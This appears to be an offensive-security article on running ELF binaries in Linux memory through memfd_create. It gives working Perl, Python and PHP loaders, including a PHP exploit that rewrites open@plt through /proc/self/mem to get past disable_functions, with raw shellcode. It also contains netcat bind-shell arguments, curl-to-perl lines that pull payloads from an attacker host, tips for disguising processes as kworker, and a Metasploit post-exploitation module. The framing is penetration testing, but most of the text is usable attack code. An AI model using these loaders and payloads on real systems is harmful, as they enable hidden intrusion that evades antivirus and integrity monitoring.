ELF in-memory execution

Fileless malware attacks are becoming more and more popular. Which is hardly surprising as they normally leave no trace. In this article we will not speak about program execution in Windows RAM. Instead, we will focus on GNU/Linux. Linux is dominant in the server segment, used in millions of embedded devices and runs an overwhelming majority of web resources. We will briefly explore how programs can be executed in memory and demonstrate that it is possible even under challenging conditions.

Fileless execution is hidden and is very difficult to detect and trace. Tools for checking the consistency of a filesystem will not warn the administrator as there are no new files written to the disk or changes in existing files. Antivirus software (which is often neglected by *nix users) does not usually monitor program memory after startup. Moreover, when installed, many GNU/Linux distributions provide a wide range of various debugging utilities, interpreters, language compilers and libraries for them. All this allows for hidden fileless execution. However, fileless execution has certain drawbacks as it cannot survive blackouts or reboots of the target host. But the program continues to run until the host device is powered down.

Fileless techniques can and should be used not only to distribute malware. If execution speed is critical, you should copy your program to RAM. Many Linux distributions can actually be easily run entirely from RAM, which makes it possible to work with hard drives without saving any files on them. For information security audit fileless techniques are useful at the post-exploitation and the intelligence gathering phase. Especially when audit should be as concealed as possible.

According to barkly.com, fileless attacks made up 35 percent of all virus attacks in 2018.
When it comes to Windows, hackers often use pre-installed Powershell to load and immediately execute code. One of the reasons why these techniques are popular is that they can be used in such frameworks as Powershell Empire, Powersploit and Metasploit Framework

And what about Linux?

In most cases, Linux distributions installed on host devices have pre-installed software. Python, Perl interpreters and C compiler are, as a rule, available “out of the box”. In addition, PHP is available on hosting platforms. So these languages can be used to execute code.
There are several well-known in-memory code execution options in Linux.
The easiest way is to use a shared memory partition mounted on filesystem.
By mounting an executable file on /dev/shm or /run/shm it is possible to execute it in memory taking into account that these directories are essentially allocated RAM mounted on filesystem. But they can be visible, as any other directory, using Is. And, as a rule, these directories are mounted with noexec flag and only the super user can execute programs in these directories. This means that you need something else to be more invisible.
The memfd_create(2) system call is more noteworthy. This system call is close to malloc(3) but it does not return a pointer to the allocated memory but rather returns a file descriptor that refers to an anonymous file that is only visible in the filesystem as a link in /proc/PID/fd/ which may be used to execute it using execve(2).
According to the man page related to the use of memfd_create:
"The name supplied in name is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory. /proc/self/fd/. The displayed name is always prefixed with memfd: and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects."

An example of using memfd_create() in C:

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int
main()
{
    int fd;
    pid_t child;
    char buf[BUFSIZ] = "";
    ssize_t br;

    fd = syscall(SYS_memfd_create, "foofile", 0);
    if (fd == -1)
    {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }

    child = fork();
    if (child == 0)
    {
        dup2(fd, 1);
        close(fd);
        execlp("/bin/date", "/bin/date", NULL);
        perror("execlp date");
        exit(EXIT_FAILURE);
    }
    else if (child == -1)
    {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    waitpid(child, NULL, 0);

    lseek(fd, 0, SEEK_SET);
    br = read(fd, buf, BUFSIZ);
    if (br == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    buf[br] = 0;

    printf("child said: '%s'\n", buf);

    exit(EXIT_SUCCESS);
}

The above code uses memfd, creates a child process, redirects its output to a temporary file, waits for the child process to terminate and reads its output from the temporary file. Usually pipe "|” is used to redirect the output of one program to the input of another one in the *nix environment.

Syscall() can also be used in such interpreted languages as perl, python, etc. Let’s look at one of the possible scenarios and demonstrate how executables can be loaded into memory using memfd_create().

Perl

Let’s assume that we have a command injection entry point.
We will need a way to execute systems calls on target.
In perl we may use the syscall() function.
We will also need a way to write our ELF file directly into memory as the contents of the anonymous file.
For this, we will put it in the source of the script that will be injected to target using command injection. Pulling it down over the network is another alternative.
However, we should mention that we need to know the target's Linux kernel version as memfd_create() is only available on kernels 3.17 or higher.

Let’s look at memfd_create() and execve() more closely.

For our anonymous file we will use MFD_CLOEXEC constant that passes the close-on-exec (FD_CLOEXEC) flag for newly opened file descriptor. This means that our file descriptor will be automatically closed when we execve() the ELF file.

Because we are using Perl’s syscall(), we will need the call number and the numeric constant.
They can be found in /usr/include or in the Internet. System call numbers are stored in #define starting with __NR_.
In our case memfd_create() is system call number 319 on 64-bit Linux. And constant is FD_CLOSEXEC 0x0001U (i.e. 1, in linux/memfd.h)

Now we have the numbers we need and we can do the Perl equivalent of C’s memfd_create(name, MFD_CLOEXEC).
We will also need to choose a name for our file that will be seen in /memfd:
The best way is to choose a name close to [:kworker] or another unsuspicious one.
As an example we will pass an empty string:

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}  

We now have an anonymous file descriptor in $fd and we need to write ELF to this file.
Perl’s open(), which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying >&=FD instead of a file name.
autoflush[]: would also be useful.

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

We now have a descriptor which refers to the anonymous file.

Next we need to make our executable file available to Perl.
For that we should do the following:

$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary  

This will give us many, many lines similar to:

print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;  

Executing those puts our executable file into memory. Time to run it.

fork()

We can also use fork(). It is optional. But if we want to do more than just run the ELF file and exit, we will need to use fork().
In general, spawning a child process in perl looks something like:

while ($keep_going) {
        my $pid = fork();
        if (-1 == $pid) { # Error
                die "fork: $!";
        }
        if (0 == $pid) {
                exit 0;
        }
}  

fork() is also useful when done twice with a call to setsid(2) as it is possible to spawn a disassociated child and let the parent terminate:

# Start a child process
my $pid = fork();
if (-1 == $pid) { # Error
        die "fork1: $!";
}
if (0 != $pid) { # the parent process terminates
        exit 0;
}
# the child process becomes the parent process
if (-1 == syscall(112)) {
        die "setsid: $!";
}
# a child process (grandchild) starts
$pid = fork();
if (-1 == $pid) { # Error
        die "fork2: $!";
}
if (0 != $pid) { # the child process terminates
        exit 0;
}
# “grandchild” code   

We can now have our ELF process run multiple times.

Execve()

Execve() is a system call that allows for the program execution. Perl gives us Exec(), which does more or less the same as the above call, albeit with easier syntax.
We need to pass to exec() two things: the file that we want to execute (our in-memory ELF file) and the process name as one of the arguments. Usually, the file and the process name are the same. But since we will see /proc/PID/fd/3 in a process listing, we will name our process something else.
The syntax for calling exec() looks like this:

exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";  

The above example runs Netcat. But we wanted to run something that looks less like a backdoor.
The new process will not have the anonymous file open as a symlink in /proc/PID/fd, but our ELF file will be visible as the /proc/PID/exe symlink, which points to the file being executed by the process.
We now have an ELF file running in Linux memory without putting anything on disk or even in the filesystem.
To load our executable file on target quickly and easily we can, for example, pipe the script in which source we put the Elf file to Perl interpreter: $ curl http://attacker/evil_elf.pl | perl

Python

Similar to the Perl option we need to do the following:

  • use the memfd_create() system call to create an anonymous file
  • fill it with an executable ELF file
  • execute it and optionally execute it several times with fork()
import ctypes
import os
# read the executable file. It is a reverse shell in our case
binary = open('/tmp/rev-shell','rb').read()

fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
final_fd.write(binary)
final_fd.close()

fork1 = os.fork() #create a child
if 0 != fork1: os._exit(0)

ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.

fork2 = os.fork() #create a child from the parent. 
if 0 != fork2: os._exit(0)

os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.

To call syscall in python we will need standard ctypes and os to write and execute the file and manage the process. Everything is similar to perl.
In the code above we write the file already placed in the /tmp/ directory. However, we can also load the file from the web server.

PHP

At this stage we can already use perl and python. Many operating systems have interpreters of these languages by default. But the most interesting part comes next.
If perl and python interpreters are not available for us for any reason, it would be great to use PHP. This language is very popular among web developers. And if we have found a way to execute code in a web application, we are likely to face PHP interpreter.

Unfortunately, php does not have built-in mechanisms for syscall.
We have come across a post by Beched on the rdot forum (thank you, Beched). He uses procfs /proc/self/mem to rewrite open with system in the memory of the current process to bypass disable_functions.
We have used this trick to rewrite functions with our code that will make required system calls.
We will pass syscall to php interpreter as the assembled shellcode.
System calls will need to be passed using a sequence of commands.
Let’s write a PHP scenario. There will be a lot of magic.

First, let's specify required parameters:

    $elf = file_get_contents("/bin/nc.traditional"); // elf_payload
    $args = "test -lvvp 31338 -e /bin/bash";  // argv0 argv1 argv2 ...

Let’s specify an offset - the higher and lower value in memory where we will later inject our shellcode:

    function packlli($value) {
		    $higher = ($value & 0xffffffff00000000) >> 32;
		    $lower = $value & 0x00000000ffffffff;
		    return pack('V2', $lower, $higher);
    }

Then there is a function that can “unpack” a binary. For that we convert binary numbers into decimal numbers using the hexdex() function after executing bin2hex() to reversed binaries (to inject in memory):

function unp($value) {
	    return hexdec(bin2hex(strrev($value)));
	}

Then an ELF file is parsed to get offset:

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

	for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }

We will additionally define the installed PHP version:

if (!defined('PHP_VERSION_ID')) {
    $version = explode('.', PHP_VERSION);
    define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}
if (PHP_VERSION_ID < 50207) {
    define('PHP_MAJOR_VERSION',   $version[0]);
    define('PHP_MINOR_VERSION',   $version[1]);
    define('PHP_RELEASE_VERSION', $version[2]);
}
echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";

Checking the type of the operating system and Linux kernel.

if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exiting\n";
    exit;
}

if(substr(php_uname('r'), 0, 4) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not work\n";
}

open@plt address is rewritten to bypass disable_functions. We have made certain additions to beched's code and now we can inject our shellcode in memory.

First we need to find an offset in the binary of the PHP interpreter, for that let's run /proc/self/exe and parse the executable file using the parseelf() function:

echo "[INFO] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}

echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');

preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[INFO] Libc location: $r[1]\n";

preg_match('#\s+(.+\[stack\].*)#', $maps, $m);
$stack = hexdec(explode('-', $m[1])[0]);
echo "[INFO] Stack location: ".dechex($stack)."\n";


$pie_base = hexdec(explode('-', $maps)[0]);
echo "[INFO] PIE base: ".dechex($pie_base)."\n";

echo "[INFO] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exiting\n";
    exit;
}

Finding an address of the open() function:

echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php);

$open_addr = unp(fread($mem, 8));
echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n";

echo "[INFO] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');

Now we can load our executable file.
First, we should create an anonymous file:

$shellcode_loc = $pie_base + 0x100;
$shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);

fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php);
fwrite($mem, packlli($shellcode_loc));
echo "[+] Address written. Executing cmd\n";
$fp = fopen('fd', 'w');

Writing payload to the anonymous file:

fwrite($fp, $elf);

Looking for the file descriptor number:

$found = false;
$fds = scandir("/proc/self/fd");
foreach($fds as $fd) {
    $path = "/proc/self/fd/$fd";
    if(!is_link($path)) continue;
    if(strstr(readlink($path), "memfd")) {
        $found = true;
        break;
    }
}
if(!$found) {
    echo '[-] memfd not found';
    exit;
}

Writing a path to the executable file in stack:

fseek($mem, $stack);
fwrite($mem, "{$path}\x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);

And arguments to be passed to the executable program:

fwrite($mem, str_replace(" ", "\x00", $args) . "\x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
    fseek($mem, $arg_ptr);
    fwrite($mem, packlli($str_ptr));

    $arg_ptr += 8;
    $str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, packlli(0x0));

echo "[INFO] Argv: " . $args . "\n";

Then calling fork() to execute our payload:

echo "[+] Starting ELF\n";
$shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" 
            . packlli($filename_ptr) 
            . "\x48\xbe" 
            . packlli($argv_ptr) 
            . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05";


fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fopen('done', 'r');
exit();

Shellcode

Shellcode is defined as a sequence of bytes injected into memory and then executed – usually when speaking about another program using buffer overflow attacks and others. In our case shellcode does not return command prompt of the remote server (shell, basically) but allows us to execute required commands.

In order to obtain required sequence of bytes we can either write a code in C and then translate it to assembly or write it in assembly from scratch.

Let's try to understand what stands behind a sequence of bytes from above listings.

push 57
pop rax
syscall
test eax, eax
jnz quit

First, we should run fork. 57 is the number of the system call for 64-bit systems. The table can be found here.

Then we should call setsid (number 112) to transform the child into the parent:

push 112
pop rax
syscall

Calling fork one more time:

push 57
pop rax
syscall
test eax, eax
jnz quit

Callingexecve() that is already familiar to us:

; execve
mov rdi, 0xcafebabecafebabe ; filename
mov rsi, 0xdeadbeefdeadbeef ; argv
xor rdx, rdx ; envp
push 0x3b
pop rax
syscall
push -1
pop rax
ret

And terminating the process with exit() (60):

; exit
quit:
push 0
pop rdi
push 60
pop rax
syscall

In such a way we have replaced the open() function code. Our executable file was injected into memory and executed using PHP interpreter. System calls are represented as shellcodes.

Metasploit Framework

To compile the above techniques we have prepared a module for MSF.

To add it to Metasploit you need to just copy the module file to $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb and then execute the reload_all command in framework console.
To use our module you need to enter use post/linux/manage/download_exec_elf_in_memory (or another path if the module file was copied to another directory).
Before using it you need to specify required options. Enter show options to see the list of options.

ARGS - arguments for the executable file

FILE - path to the executable file. It is Netcat in our case

NAME - the process name. It can have any name. For example, it can be kworker:1 if you need a discrete name or KittyCat if you need something funny for demonstration purposes.

SESSION - meterpreter session. This module is intended for post-exploitation.

Then we specify the host device for http server with our payload and its port in SRVHOST and SRVPORT, respectively.

VECTOR - a method that will be used to execute the program in memory, it is not obligatory and if not specified the script will find required interpreters itself. PHP, Python and Perl are currently supported.

Running exploit or run.

https://www.youtube.com/watch?v=y9vRUItW_5c

It works as follows - we specify the required session, it can be either meterpreter or ordinary reverse-shell. Then we specify the local path to our elf file, arguments and the name in the process listing. Local web server will be started to host payload and the search for download utilities will be started, curl and wget are currently supported. When at least one of them is found, there will be a search for all interpreters if we have not specified which one we need in VECTOR. If the search is successful, the payload will be downloaded from our web server and piped to the respective interpreter, i.e. something like $ curl http://hacker/payload.pl | perl.

Instead of a conclusion

Fileless ELF execution in Linux is a useful technique for penetration testing. It is a noiseless method that can overcome various types of antivirus protection, system integrity protection and systems that monitor the hard drive. In such a way it is easy to access target with minimum trace.
In this article we used interpreted languages that are often available in Linux distributions, firmware of built-in equipment, routers and mobile devices. Special thanks to the author of this article for inspiring our research.